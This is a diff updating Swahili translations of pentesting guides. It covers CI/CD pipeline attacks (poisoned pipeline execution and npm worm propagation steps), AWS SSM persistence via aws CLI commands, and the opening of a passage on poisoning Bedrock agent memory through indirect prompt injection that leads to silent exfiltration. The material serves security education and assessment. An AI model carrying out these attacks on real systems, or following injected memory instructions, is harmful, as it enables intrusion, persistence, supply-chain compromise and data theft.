Translated ['', 'src/pentesting-ci-cd/pentesting-ci-cd-methodology.md',

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -6,51 +6,51 @@
 
 ## VCS
 
-VCS inasimamia **Version Control System**, mfumo huu unawawezesha wasanidi programu **kusimamia source code yao**. Ya kawaida zaidi ni **git** na kwa kawaida utaona kampuni zikikitumia kwenye mojawapo ya **platforms** zifuatazo:
+VCS inasimama kwa **Version Control System**, mfumo huu unaruhusu watengenezaji **kusimamia source code yao**. Ya kawaida zaidi ni **git** na kwa kawaida utapata makampuni yakitumia moja ya **platforms** zifuatazo:
 
 - Github
 - Gitlab
 - Bitbucket
 - Gitea
 - Gitblit
-- Cloud providers (zinatoa VCS platforms zao wenyewe)
+- Cloud providers (wanatoa platforms zao wenyewe za VCS)
 
 
 ## CI/CD Pipelines
 
-CI/CD pipelines huwawezesha wasanidi programu **ku-automate utekelezaji wa code** kwa madhumuni mbalimbali, ikiwemo ku-build, ku-test, na ku-deploy applications. Workflows hizi za ki-automate **huchochewa na actions maalum**, kama vile code pushes, pull requests, au scheduled tasks. Ni muhimu kwa kurahisisha mchakato kutoka development hadi production.
+CI/CD pipelines huwawezesha watengenezaji **ku-automate utekelezaji wa code** kwa madhumuni mbalimbali, ikiwemo kuijenga, kui-test, na kui-deploy applications. Workflows hizi za kiotomatiki **huchochewa na actions mahususi**, kama code pushes, pull requests, au kazi zilizopangwa. Ni muhimu kwa kurahisisha mchakato kutoka development hadi production.
 
-Hata hivyo, mifumo hii inahitaji **kutekelezwa mahali fulani** na kwa kawaida kwa **privileged credentials ili ku-deploy code au kufikia taarifa nyeti**.
+Hata hivyo, mifumo hii inahitaji **kutekelezwa mahali fulani** na kwa kawaida kwa **privileged credentials** ili ku-deploy code au kufikia taarifa nyeti.
 
-## VCS Pentesting Methodology
+## Mbinu ya Pentesting ya VCS
 
 > [!NOTE]
-> Hata kama baadhi ya VCS platforms huruhusu kuunda pipelines, kwa sehemu hii tutaangalia tu attacks zinazowezekana dhidi ya udhibiti wa source code.
+> Hata kama baadhi ya platforms za VCS huruhusu kuunda pipelines kwa sehemu hii tutaichambua tu mashambulizi yanayowezekana dhidi ya udhibiti wa source code.
 
-Platforms zinazohifadhi source code ya project yako zina taarifa nyeti na watu wanahitaji kuwa makini sana na permissions zinazopewa ndani ya platform hii. Haya ni baadhi ya matatizo ya kawaida kwenye VCS platforms ambayo attacker anaweza kuyatumia vibaya:
+Platforms zinazohifadhi source code ya project yako zina taarifa nyeti na watu wanahitaji kuwa waangalifu sana na permissions zinazotolewa ndani ya platform hii. Haya ni baadhi ya matatizo ya kawaida katika platforms za VCS ambayo attacker anaweza kutumia vibaya:
 
 - **Leaks**: Ikiwa code yako ina leaks kwenye commits na attacker anaweza kufikia repo (kwa sababu ni public au kwa sababu ana access), anaweza kugundua leaks hizo.
-- **Access**: Ikiwa attacker anaweza **kufikia account ndani ya VCS platform**, anaweza kupata **mwonekano na permissions zaidi**.
-- **Register**: Baadhi ya platforms huruhusu tu external users kuunda account.
-- **SSO**: Baadhi ya platforms hazitaruhusu users ku-register, lakini zitamruhusu mtu yeyote kufikia kwa SSO halali (hivyo attacker anaweza kutumia github account yake kuingia, kwa mfano).
+- **Access**: Ikiwa attacker anaweza **kufikia account ndani ya platform ya VCS** anaweza kupata **mwonekano zaidi na permissions zaidi**.
+- **Register**: Baadhi ya platforms zitaruhusu tu users wa nje kuunda account.
+- **SSO**: Baadhi ya platforms hazitaruhusu users kujiandikisha, lakini zitaruhusu mtu yeyote kufikia kwa kutumia SSO halali (kwa hiyo attacker anaweza kutumia account yake ya github kuingia, kwa mfano).
 - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... kuna aina kadhaa za tokens ambazo user anaweza kuiba ili kwa namna fulani kufikia repo.
-- **Webhooks**: VCS platforms huruhusu kuunda webhooks. Ikiwa hazijalindwa **kwa non visible secrets** an **attacker could abuse them**.
-- Ikiwa hakuna secret imewekwa, attacker anaweza kutumia vibaya webhook ya third party platform
-- Ikiwa secret ipo kwenye URL, jambo lile lile hutokea na attacker pia anapata secret
-- **Code compromise:** Ikiwa malicious actor ana aina fulani ya access ya **write** kwenye repos, anaweza kujaribu **ku-inject malicious code**. Ili kufanikiwa huenda akahitaji **kupitia branch protections**. Actions hizi zinaweza kufanywa kwa malengo tofauti akilini:
+- **Webhooks**: Platforms za VCS huruhusu kuunda webhooks. Ikiwa hazijalindwa **kwa secrets zisizoonekana** an **attacker could abuse them**.
+- Ikiwa hakuna secret iliyowekwa, attacker anaweza kutumia vibaya webhook ya third party platform
+- Ikiwa secret iko kwenye URL, kitu kimoja hutokea na attacker pia anapata secret hiyo
+- **Code compromise:** Ikiwa actor mbaya ana aina fulani ya access ya **write** kwenye repos, anaweza kujaribu **kudunga malicious code**. Ili awe na mafanikio huenda akahitaji **kuepuka branch protections**. Vitendo hivi vinaweza kufanywa kwa malengo tofauti akilini:
 - Kuharibu main branch ili **kuharibu production**.
-- Kuharibu main (au branches nyingine) ili **kuharibu developer machines** (kwa kawaida hu-run test, terraform au mambo mengine ndani ya repo kwenye machines zao).
+- Kuharibu main (au branches nyingine) ili **kuharibu machines za developers** (kwa kawaida wao hu-execute test, terraform au mambo mengine ndani ya repo kwenye machines zao).
 - **Kuharibu pipeline** (angalia sehemu inayofuata)
 
-## Pipelines Pentesting Methodology
+## Mbinu ya Pentesting ya Pipelines
 
-Njia ya kawaida zaidi ya kufafanua pipeline ni kwa kutumia **CI configuration file iliyohostiwa ndani ya repository** ambayo pipeline hui-build. File hii inaeleza mpangilio wa jobs zinazoendeshwa, conditions zinazobadilisha flow, na build environment settings.\
-Files hizi kwa kawaida huwa na jina na format thabiti, kwa mfano — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), na GitHub Actions YAML files zilizo chini ya .github/workflows. Inapochochewa, pipeline job **hukokota code** kutoka source iliyochaguliwa (k.m. commit / branch), na **hu-run commands zilizobainishwa kwenye CI configuration file** dhidi ya code hiyo.
+Njia ya kawaida zaidi ya kufafanua pipeline ni kwa kutumia **CI configuration file iliyohostiwa kwenye repository** ambayo pipeline huijenga. File hii hueleza mpangilio wa jobs zinazotekelezwa, conditions zinazoathiri flow, na settings za build environment.\
+Files hizi kwa kawaida zina jina na format thabiti, kwa mfano — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), na GitHub Actions YAML files zilizo chini ya .github/workflows. Inapochochewa, pipeline job **huchukua code** kutoka kwenye source iliyochaguliwa (k.m. commit / branch), na **huendesha commands zilizobainishwa katika CI configuration file** dhidi ya code hiyo.
 
-Kwa hiyo lengo la mwisho la attacker ni kwa namna fulani **kuharibu configuration files hizo** au **commands wanazotekeleza**.
+Kwa hiyo lengo la mwisho la attacker ni kwa namna fulani **kuharibu files hizo za configuration** au **commands wanazotekeleza**.
 
 > [!TIP]
-> Baadhi ya hosted builders huwaruhusu contributors kuchagua Docker build context na Dockerfile path. Ikiwa context inadhibitiwa na attacker, unaweza kuiweka nje ya repo (k.m. "..") ili kusoma host files wakati wa build na kutoa secrets nje. Angalia:
+> Baadhi ya hosted builders huruhusu contributors kuchagua Docker build context na Dockerfile path. Ikiwa context inadhibitiwa na attacker, unaweza kuiweka nje ya repo (k.m., "..") ili kuchukua host files wakati wa build na ku-exfiltrate secrets. Tazama:
 >
 >{{#ref}}
 >docker-build-context-abuse.md
@@ -58,72 +58,72 @@ Kwa hiyo lengo la mwisho la attacker ni kwa namna fulani **kuharibu configuratio
 
 ### PPE - Poisoned Pipeline Execution
 
-Poisoned Pipeline Execution (PPE) hutumia permissions ndani ya SCM repository ili kubadilisha CI pipeline na kuendesha commands hatari. Users walio na permissions zinazohitajika wanaweza kurekebisha CI configuration files au files nyingine zinazotumiwa na pipeline job ili kujumuisha commands za kihalifu. Hii "huchafua" CI pipeline, na kusababisha utekelezaji wa commands hizo za kihalifu.
+Njia ya Poisoned Pipeline Execution (PPE) hutumia permissions ndani ya SCM repository ili ku-manipulate CI pipeline na ku-execute commands hatari. Users wenye permissions zinazohitajika wanaweza kurekebisha CI configuration files au files nyingine zinazotumiwa na pipeline job ili kujumuisha commands za uhalifu. Hii "hu-poison" CI pipeline, na kusababisha utekelezaji wa commands hizi za uhalifu.
 
-Ili malicious actor afanikiwe kutekeleza PPE attack anahitaji kuwa na uwezo wa:
+Ili actor mbaya afanikiwe katika kufanya shambulizi la PPE anahitaji kuwa na uwezo wa:
 
-- Kuwa na **write access kwenye VCS platform**, kwa kawaida pipelines huchochewa wakati push au pull request inapofanywa. (Angalia VCS pentesting methodology kwa muhtasari wa njia za kupata access).
+- Kuwa na **write access kwenye platform ya VCS**, kwa kawaida pipelines huchochewa wakati push au pull request inapofanyika. (Angalia VCS pentesting methodology kwa muhtasari wa njia za kupata access).
 - Kumbuka kwamba wakati mwingine **external PR huhesabika kama "write access"**.
 - Hata akiwa na write permissions, anahitaji kuhakikisha anaweza **kurekebisha CI config file au files nyingine ambazo config inategemea**.
-- Kwa hili, huenda akahitaji kuwa na uwezo wa **kupitia branch protections**.
+- Kwa hili, huenda akahitaji kuwa na uwezo wa **kuepuka branch protections**.
 
-Kuna flavours 3 za PPE:
+Kuna aina 3 za PPE:
 
-- **D-PPE**: Attack ya **Direct PPE** hutokea wakati actor **anakibadilisha CI config** file ambacho kitaendeshwa.
-- **I-DDE**: Attack ya **Indirect PPE** hutokea wakati actor **anabadilisha** **file** ambayo CI config file litakalotekelezwa **linategemea** (kama make file au terraform config).
-- **Public PPE or 3PE**: Katika baadhi ya hali pipelines zinaweza **kuchochewa na users ambao hawana write access katika repo** (na ambao huenda hata si sehemu ya org) kwa sababu wanaweza kutuma PR.
-- **3PE Command Injection**: Kwa kawaida, CI/CD pipelines huweka **environment variables** zenye **taarifa kuhusu PR**. Ikiwa value hiyo inaweza kudhibitiwa na attacker (kama title ya PR) na **inatumika** mahali **hatari** (kama kutekeleza **sh commands**), attacker anaweza **ku-inject commands hapo**.
+- **D-PPE**: Shambulizi la **Direct PPE** hutokea wakati actor **anarekebisha CI config** file ambayo ita-executeiwa.
+- **I-DDE**: Shambulizi la **Indirect PPE** hutokea wakati actor **anarekebisha** **file** ambayo CI config file itakayotekelezwa **inategemea** (kama make file au terraform config).
+- **Public PPE or 3PE**: Katika baadhi ya hali pipelines zinaweza **kuchochewa na users ambao hawana write access kwenye repo** (na huenda hata wasiwe sehemu ya org) kwa sababu wanaweza kutuma PR.
+- **3PE Command Injection**: Kwa kawaida, CI/CD pipelines zita**weka environment variables** zenye **taarifa kuhusu PR**. Ikiwa value hiyo inaweza kudhibitiwa na attacker (kama title ya PR) na **inatumika** mahali **hatari** (kama ku-execute **sh commands**), attacker anaweza **ku-dunga commands humo**.
 
-### Faida za Exploitation
+### Faida za Utekelezaji
 
-Tukijua flavours 3 za kuharibu pipeline, tuone attacker anaweza kupata nini baada ya exploitation kufanikiwa:
+Kujua aina 3 za ku-poison pipeline, hebu tuone attacker anaweza kupata nini baada ya exploitation iliyofanikiwa:
 
-- **Secrets**: Kama ilivyotajwa hapo awali, pipelines huhitaji **privileges** kwa jobs zake (kuchukua code, kuibuild, kuideploy...) na privileges hizi kwa kawaida **hutolewa ndani ya secrets**. Secrets hizi kwa kawaida hupatikana kupitia **env variables au files ndani ya system**. Kwa hiyo attacker atajaribu kila mara kutoa nje secrets nyingi kadiri iwezekanavyo.
-- Kulingana na pipeline platform attacker **huenda akahitaji kubainisha secrets kwenye config**. Hii ina maana kwamba ikiwa attacker hawezi kurekebisha CI configuration pipeline (**I-PPE** kwa mfano), ataweza **tu kutoa nje secrets ambazo pipeline ina nazo**.
-- **Computation**: Code inatekelezwa mahali fulani, kulingana na mahali inapoendeshwa attacker huenda akaweza pivot zaidi.
-- **On-Premises**: Ikiwa pipelines zinatekelezwa on premises, attacker huenda akaishia kwenye **internal network yenye access zaidi ya resources**.
-- **Cloud**: Attacker anaweza kufikia **other machines in the cloud** lakini pia anaweza **kutoa nje** IAM roles/service accounts **tokens** kutoka humo ili kupata **access zaidi ndani ya cloud**.
-- **Platforms machine**: Wakati mwingine jobs zitaendeshwa ndani ya **machines za pipelines platform**, ambazo kwa kawaida ziko ndani ya cloud yenye **hakuna access zaidi**.
-- **Select it:** Wakati mwingine **pipelines platform itakuwa imesanidi machines kadhaa** na ukiweza **kurekebisha CI configuration file** unaweza **kubainisha unapotaka kuendesha malicious code**. Katika hali hii, attacker huenda akaendesha reverse shell kwenye kila machine linalowezekana ili kujaribu kulishambulia zaidi.
-- **Kuharibu production**: Ikiwa uko ndani ya pipeline na final version inajengwa na ku-deployed kutoka humo, unaweza **kuharibu code ambayo itaishia ikitekelezwa production**.
+- **Secrets**: Kama ilivyotajwa hapo awali, pipelines zinahitaji **privileges** kwa jobs zake (kuchukua code, kuijenga, ku-deploy...) na privileges hizi kwa kawaida **hutolewa katika secrets**. Secrets hizi kwa kawaida zinaweza kufikiwa kupitia **env variables au files ndani ya system**. Kwa hiyo attacker atajaribu kila wakati ku-exfiltrate secrets nyingi iwezekanavyo.
+- Kulingana na platform ya pipeline, attacker **huenda akahitaji kubainisha secrets kwenye config**. Hii inamaanisha kwamba ikiwa attacker hawezi kurekebisha CI configuration pipeline (**I-PPE** kwa mfano), anaweza **ku-exfiltrate tu secrets ambazo pipeline hiyo inazo**.
+- **Computation**: Code hu-executeiwa mahali fulani, kulingana na mahali inapo-executeiwa attacker anaweza kuweza pivot zaidi.
+- **On-Premises**: Ikiwa pipelines zina-executeiwa on premises, attacker anaweza kuishia kwenye **internal network yenye access kwa resources zaidi**.
+- **Cloud**: Attacker anaweza kufikia **machines nyingine kwenye cloud** lakini pia anaweza **ku-exfiltrate** IAM roles/service accounts **tokens** kutoka humo ili kupata **access zaidi ndani ya cloud**.
+- **Platforms machine**: Wakati mwingine jobs zita-executeiwa ndani ya **pipelines platform machines**, ambazo kwa kawaida ziko ndani ya cloud bila **access zaidi**.
+- **Select it:** Wakati mwingine **pipelines platform itakuwa ime-configure machines kadhaa** na kama unaweza **kurekebisha CI configuration file** unaweza **kuashiria unapotaka ku-run code mbaya**. Katika hali hii, attacker pengine ata-run reverse shell kwenye kila machine linalowezekana ili kujaribu kulichukua zaidi.
+- **Kuharibu production**: Ikiwa uko ndani ya pipeline na version ya mwisho hujengwa na ku-deployiwa kutoka humo, unaweza **kuharibu code ambayo itakwenda kuishia iki-run kwenye production**.
 
-### Dependency & Registry Supply-Chain Abuse
+### Supply-Chain Abuse ya Dependency & Registry
 
 Kuharibu CI/CD pipeline au kuiba credentials kutoka humo kunaweza kumruhusu attacker kuhama kutoka **pipeline execution** kwenda **ecosystem-wide code execution** kwa ku-backdoor dependencies au release tooling:
 
-- **Install-time code execution via package hooks**: publish package version linaloongeza `preinstall`, `postinstall`, `prepare`, au hooks zinazofanana ili payload iendeshwe ki-automati kwenye developer workstations na CI runners wakati wa dependency installation.
-- **Secondary execution paths**: hata kama targets wan-install kwa `--ignore-scripts`, malicious package bado inaweza kusajili **common CLI name** kwenye `bin` field ili wrapper inayodhibitiwa na attacker i-symlinkwe ndani ya `PATH` na iendeshwe baadaye wakati command inapotumiwa.
-- **Runtime bootstrapping**: installer ndogo inaweza kupakua second runtime au toolchain wakati wa installation (kwa mfano Bun au packed interpreter) kisha ku-launch main payload nayo, hivyo kuepuka local dependency requirements.
-- **Credential harvesting from build environments**: mara code inapoendeshwa ndani ya CI, angalia environment variables, `~/.npmrc`, `~/.git-credentials`, SSH keys, cloud CLI configs, na local tooling kama `gh auth token`. Kwenye GitHub Actions, pia tafuta runner-specific secrets na artifacts.
-- **Workflow injection with stolen GitHub tokens**: token yenye permissions za **`repo` + `workflow`** inatosha kuunda branch, commit malicious file ndani ya `.github/workflows/`, kuichochea, kukusanya artifacts/logs zilizozalishwa, kisha kufuta temporary branch/workflow run ili kupunguza traces.
-- **Wormable registry propagation**: npm tokens zilizoibiwa zinapaswa kuthibitishwa kwa permissions za **publish** na kama zinapita 2FA. Ikiwa zinapita, orodhesha packages zinazoweza kuandikwa, pakua tarballs zao, ingiza loader kama `setup.mjs`, weka `preinstall` kuitekeleza, ongeza patch version, na republish. Hii hugeuza CI compromise moja kuwa downstream auto-execution kwenye mazingira mengine.
+- **Install-time code execution via package hooks**: publish version ya package inayoongeza `preinstall`, `postinstall`, `prepare`, au hooks zinazofanana ili payload i-run kiotomatiki kwenye developer workstations na CI runners wakati wa dependency installation.
+- **Secondary execution paths**: hata kama targets wana-install kwa `--ignore-scripts`, malicious package bado inaweza kusajili **common CLI name** kwenye `bin` field hivyo wrapper inayodhibitiwa na attacker ina-symlinkiwa ndani ya `PATH` na baadaye ina-executewa command hiyo inapotumiwa.
+- **Runtime bootstrapping**: installer ndogo inaweza kupakua second runtime au toolchain wakati wa installation (kwa mfano Bun au packed interpreter) kisha ku-launch main payload nayo, ikiepuka local dependency requirements.
+- **Credential harvesting from build environments**: mara code inapo-run ndani ya CI, angalia environment variables, `~/.npmrc`, `~/.git-credentials`, SSH keys, cloud CLI configs, na local tooling kama `gh auth token`. Kwenye GitHub Actions, pia tafuta runner-specific secrets na artifacts.
+- **Workflow injection with stolen GitHub tokens**: token yenye permissions za **`repo` + `workflow`** inatosha kuunda branch, ku-commit file mbaya ndani ya `.github/workflows/`, kuichochea, kukusanya artifacts/logs zilizozalishwa, kisha kufuta temporary branch/workflow run ili kupunguza traces.
+- **Wormable registry propagation**: stolen npm tokens zinapaswa kuthibitishwa kwa permissions za **publish** na kama zinapita 2FA. Kama zinapita, enumerate writable packages, pakua tarballs zake, dunga loader kama `setup.mjs`, weka `preinstall` ili i-execute, ongeza patch version, na republish. Hii hugeuza compromise moja ya CI kuwa auto-execution ya downstream kwenye mazingira mengine.
 
-#### Ukaguzi wa vitendo wakati wa assessment
+#### Practical checks during an assessment
 
-- Kagua release automation kwa package-manager hooks zilizoongezwa kwenye `package.json`, unexpected `bin` entries, au version bumps zinazobadilisha tu release artifact.
-- Angalia kama CI huhifadhi long-lived registry credentials kwenye plaintext files kama `~/.npmrc` badala ya kutumia short-lived OIDC au trusted publishing.
-- Thibitisha kama GitHub tokens zinazopatikana ndani ya CI zinaweza kuandika workflow files au kuunda branches/tags.
-- Ikiwa suspected compromised package ipo, kagua published tarball na si Git repository pekee, kwa sababu malicious loader/runtime huenda ipo tu kwenye published artifact.
-- Tafuta unexpected package-manager execution ndani ya CI kama `npm install` badala ya `npm ci`, unexpected Bun downloads/execution, au workflow artifacts mpya zinazotokana na transient branches.
+- Kagua release automation kwa package-manager hooks zilizoongezwa kwenye `package.json`, unexpected `bin` entries, au version bumps zinazobadilisha release artifact pekee.
+- Angalia kama CI huhifadhi registry credentials za muda mrefu kwenye files wazi kama `~/.npmrc` badala ya kutumia short-lived OIDC au trusted publishing.
+- Thibitisha kama GitHub tokens zinazopatikana kwenye CI zinaweza kuandika workflow files au kuunda branches/tags.
+- Ikiwa package iliyoharibiwa inashukiwa, kagua published tarball na si Git repository pekee, kwa sababu malicious loader/runtime inaweza kuwepo tu kwenye artifact iliyopublished.
+- Tafuta unexpected package-manager execution ndani ya CI kama `npm install` badala ya `npm ci`, unexpected Bun downloads/execution, au new workflow artifacts zinazotokana na transient branches.
 
-## Taarifa zaidi muhimu
+## Taarifa zaidi zinazohusiana
 
 ### Tools & CIS Benchmark
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ni open-source tool ya kukagua software supply chain stack yako kwa security compliance kulingana na [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) mpya. Ukaguzi unalenga SDLC process nzima, ambapo unaweza kufichua risks kutoka code time hadi deploy time.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ni tool ya open-source ya kukagua software supply chain stack yako kwa security compliance kulingana na [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) mpya. Ukaguzi unalenga SDLC process nzima, ambapo unaweza kufichua risks kutoka code time hadi deploy time.
 
 ### Top 10 CI/CD Security Risk
 
-Angalia article hii ya kuvutia kuhusu top 10 CI/CD risks kulingana na Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Angalia makala hii ya kuvutia kuhusu top 10 CI/CD risks kulingana na Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
 
 ### Labs
 
-- Kwenye kila platform unayoweza kui-run locally utaona jinsi ya kui-launch locally ili uweze kui-configure unavyotaka kuitegemea katika testing
+- Kwenye kila platform unayoweza kui-run locally utapata jinsi ya kui-launch locally ili uweze kuiconfigure jinsi unavyotaka kuijaribu
 - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
 ### Automatic Tools
 
-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ni static code analysis tool ya infrastructure-as-code.
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ni tool ya static code analysis kwa infrastructure-as-code.
 
 ## References
 

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md

@@ -10,9 +10,9 @@ Kwa maelezo zaidi angalia:
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
 {{#endref}}
 
-### Kutumia ssm:CreateAssociation kwa persistence
+### Using ssm:CreateAssociation for persistence
 
-Mshambulizi mwenye ruhusa **`ssm:CreateAssociation`** anaweza kuunda State Manager Association ili kutekeleza kiotomatiki amri kwenye EC2 instances zinazosimamiwa na SSM. Associations hizi zinaweza kusanidiwa ili ziendeshwe kwa muda wa kawaida uliowekwa, na hivyo kuzipa matumizi ya persistence kama backdoor bila vikao vya mwingiliano.
+Mshambulizi mwenye ruhusa **`ssm:CreateAssociation`** anaweza kuunda State Manager Association ili kutekeleza commands kiotomatiki kwenye EC2 instances zinazosimamiwa na SSM. Associations hizi zinaweza kusanidiwa ziendeshwe kwa interval ya kudumu, hivyo zinafaa kwa persistence ya aina ya backdoor bila interactive sessions.
 ```bash
 aws ssm create-association \
 --name SSM-Document-Name \
@@ -22,12 +22,12 @@ aws ssm create-association \
 --association-name association-name
 ```
 > [!NOTE]
-> Mbinu hii ya persistence hufanya kazi mradi EC2 instance inasimamiwa na Systems Manager, SSM agent inakimbia, na mshambuliaji ana permission ya kuunda associations. Haihitaji interactive sessions au explicit `ssm:SendCommand` permissions. **Important:** parameter ya `--schedule-expression` (kwa mfano, `rate(30 minutes)`) lazima izingatie minimum interval ya AWS ya dakika 30. Kwa utekelezaji wa mara moja au wa wakati mmoja, acha `--schedule-expression` kabisa — association itatekelezwa mara moja baada ya kuundwa.
+> Hii mbinu ya persistence inafanya kazi mradi EC2 instance inasimamiwa na Systems Manager, SSM agent inaendelea ku-run, na mshambuliaji ana ruhusa ya ku-create associations. Haihitaji interactive sessions au explicit ssm:SendCommand permissions. **Important:** Parameter ya `--schedule-expression` (kwa mfano, `rate(30 minutes)`) lazima iheshimu minimum interval ya AWS ya dakika 30. Kwa immediate au one-time execution, ondoa `--schedule-expression` kabisa — association itatekelezwa mara moja baada ya creation.
 
 
 ### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
 
-Mshambuliaji mwenye permissions **`ssm:UpdateDocument`** na **`ssm:UpdateDocumentDefaultVersion`** anaweza kuongeza privileges kwa kurekebisha documents zilizopo. Hii pia huruhusu persistence ndani ya hiyo document. Kwa vitendo mshambuliaji angehitaji pia **`ssm:ListDocuments`** ili kupata majina ya custom documents na ikiwa mshambuliaji anataka kuficha payload yake ndani ya document iliyopo **`ssm:GetDocument`** itakuwa muhimu pia.
+Mshambuliaji akiwa na permissions **`ssm:UpdateDocument`** na **`ssm:UpdateDocumentDefaultVersion`** anaweza kuongeza privileges kwa kurekebisha documents zilizopo. Hii pia inaruhusu persistence ndani ya document hiyo. Kiutendaji, mshambuliaji pia angehitaji **`ssm:ListDocuments`** ili kupata majina ya custom documents, na ikiwa mshambuliaji anataka kuficha payload yake ndani ya document iliyopo, **`ssm:GetDocument`** pia itahitajika.
 ```bash
 aws ssm list-documents
 aws ssm get-document --name "target-document" --document-format YAML
@@ -39,7 +39,7 @@ aws ssm update-document \
 --document-version 1
 aws ssm update-document-default-version --name "target-document" --document-version 2
 ```
-Hati ya hapa chini ni mfano wa document ambao unaweza kutumika kuandika juu ya document iliyopo. Utahitaji kuhakikisha aina ya document yako inalingana na aina ya target documents ili kuepuka issues na innvocation. Document iliyo hapa chini, kwa mfano, itafanya kazi na examples za **`ssm:SendCommand`** na **`ssm:CreateAssociation`**.
+Hapa chini ni mfano wa document ambao unaweza kutumika ku-overwrite document iliyopo. Utaweza kuhakikisha kuwa aina ya document yako inalingana na aina ya target documents ili kuepuka issues na innvocation. Document iliyo hapa chini kwa mfano itakuwa kwa **`ssm:SendCommand`** na **`ssm:CreateAssociation`** examples.
 ```yaml
 schemaVersion: '2.2'
 description: Execute commands on a Linux instance.
@@ -57,7 +57,7 @@ runCommand:
 ```
 ### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
 
-Mshambulizi aliye na ruhusa **`ssm:RegisterTaskWithMaintenanceWindow`** na **`ssm:RegisterTargetWithMaintenanceWindow`** anaweza kupandisha privilege kwa kwanza kusajili target mpya na maintenance window iliyopo kisha kusasisha kwa kusajili task mpya. Hii husababisha execution kwenye targets zilizopo, lakini inaweza kumruhusu mshambulizi ku-compromise compute zenye roles tofauti kwa kusajili targets mpya. Hii pia huruhusu persistence kwa sababu maintenance windows tasks hutekelezwa kwa interval iliyofafanuliwa awali wakati wa uundaji wa window. Kivitendo mshambulizi pia angehitaji **`ssm:DescribeMaintenanceWindows`** ili kupata maintenance window IDs.
+Mshambuliaji mwenye ruhusa za **`ssm:RegisterTaskWithMaintenanceWindow`** na **`ssm:RegisterTargetWithMaintenanceWindow`** anaweza kuongeza haki kwa kusajili kwanza target mpya kwenye maintenance window iliyopo kisha kusasisha kwa kusajili task mpya. Hii hufanikisha execution kwenye targets zilizopo, lakini inaweza kumruhusu mshambuliaji kuathiri compute zenye roles tofauti kwa kusajili targets mpya. Hii pia huruhusu persistence kwa sababu tasks za maintenance windows hufanyika kwa interval iliyofafanuliwa awali wakati wa uundaji wa window. Kwa vitendo, mshambuliaji pia angehitaji **`ssm:DescribeMaintenanceWindows`** ili kupata IDs za maintenance window.
 ``` bash
 aws ec2 describe-instances
 aws ssm describe-maintenance-window

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md

@@ -5,35 +5,35 @@
 
 ## AWS - Bedrock Agents Memory Poisoning (Indirect Prompt Injection)
 
-### Muhtasari
+### Overview
 
-Amazon Bedrock Agents with Memory zinaweza kuhifadhi summaries za sessions za awali na kuziingiza kwenye future orchestration prompts kama system instructions. Ikiwa untrusted tool output (kwa mfano, content iliyofetched kutoka external webpages, files, au third‑party APIs) inaingizwa kwenye input ya hatua ya Memory Summarization bila sanitization, attacker anaweza poison long‑term memory kupitia indirect prompt injection. Hiyo poisoned memory kisha bias planning ya agent katika future sessions na inaweza kusababisha covert actions kama silent data exfiltration.
+Amazon Bedrock Agents with Memory inaweza kuhifadhi summaries za sessions za awali na kuzidunga kwenye future orchestration prompts kama system instructions. Ikiwa untrusted tool output, kwa mfano, content iliyochukuliwa kutoka external webpages, files, au third‑party APIs, inaingizwa kwenye input ya hatua ya Memory Summarization bila sanitization, mshambulizi anaweza poison long‑term memory kupitia indirect prompt injection. Kisha poisoned memory ina bias planning ya agent kwenye future sessions na inaweza kuongoza covert actions kama silent data exfiltration.
 
-Hii si vulnerability katika Bedrock platform yenyewe; ni class ya agent risk wakati untrusted content inapopita kwenye prompts ambazo baadaye zinakuwa high‑priority system instructions.
+Hili si vulnerability kwenye Bedrock platform yenyewe; ni class ya agent risk wakati untrusted content inapita kwenye prompts ambazo baadaye huwa high‑priority system instructions.
 
-### Jinsi Bedrock Agents Memory inavyofanya kazi
+### How Bedrock Agents Memory works
 
-- Wakati Memory imewezeshwa, agent hutengeneza summary ya kila session mwisho wa session kwa kutumia Memory Summarization prompt template na kuihifadhi kwa retention inayoweza kusanidiwa (hadi siku 365). Katika later sessions, hiyo summary inaingizwa kwenye orchestration prompt kama system instructions, ikishawishi sana behavior.
-- Default Memory Summarization template inajumuisha blocks kama:
+- Memory ikiwa enabled, agent hufanya summarize ya kila session mwishoni mwa session kwa kutumia Memory Summarization prompt template na kuhifadhi summary hiyo kwa retention inayoweza kusanidiwa (hadi 365 days). Katika later sessions, summary hiyo inaingizwa kwenye orchestration prompt kama system instructions, ikiathiri sana behavior.
+- Default Memory Summarization template hujumuisha blocks kama:
 - `<previous_summaries>$past_conversation_summary$</previous_summaries>`
 - `<conversation>$conversation$</conversation>`
 - Guidelines zinahitaji strict, well‑formed XML na topics kama "user goals" na "assistant actions".
-- Ikiwa tool inafetch untrusted external data na raw content hiyo inaingizwa ndani ya $conversation$ (hasa tool’s result field), summarizer LLM inaweza kushawishiwa na attacker‑controlled markup na instructions.
+- Ikiwa tool inachukua untrusted external data na raw content hiyo inaingizwa kwenye $conversation$ (hasa result field ya tool), summarizer LLM inaweza kuathiriwa na attacker‑controlled markup na instructions.
 
-### Attack surface na preconditions
+### Attack surface and preconditions
 
-Agent huathiriwa ikiwa vyote vifuatavyo ni kweli:
